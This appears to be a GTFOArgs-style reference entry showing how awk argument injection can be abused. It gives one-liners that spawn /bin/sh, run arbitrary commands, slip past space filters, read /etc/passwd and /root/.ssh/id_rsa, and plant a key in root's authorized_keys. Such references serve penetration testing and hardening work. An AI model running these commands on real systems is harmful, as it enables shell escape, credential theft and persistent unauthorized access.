Argument injection via awk
awk awk Sandbox: execFile · Timeout: 30s
security.execution.command system.file.read system.file.write Can be used to execute arbitrary commands on a system and spawn shells.
awk 'BEGIN{system("/bin/sh")}' Can be used to execute arbitrary commands on a system.
awk 'BEGIN {system("ls"); exit}' /dev/null The file must exist and command will be executed as many rows there are in the file.
awk 'system("ls")' /etc/passwd If spaces cannot be inserted, we can use `sprintf(%c,32)` to emulate them.
awk '//{}BEGIN{system(sprintf("uname%c-aa",32))}' Read an arbitrary file.
awk 'BEGIN{while((getline line<"/etc/passwd")>0){print line}}' /dev/null Print the contents of multiple files.
awk '//' /etc/passwd /etc/hostname /root/.ssh/id_rsa Write to an arbitrary file
awk 'BEGIN{print "ssh-rsa ..." > "/root/.ssh/authorized_keys}' /dev/null GTFOArgs entry for awk. This binary can be used to inject arguments for execution, file operations, or other capabilities.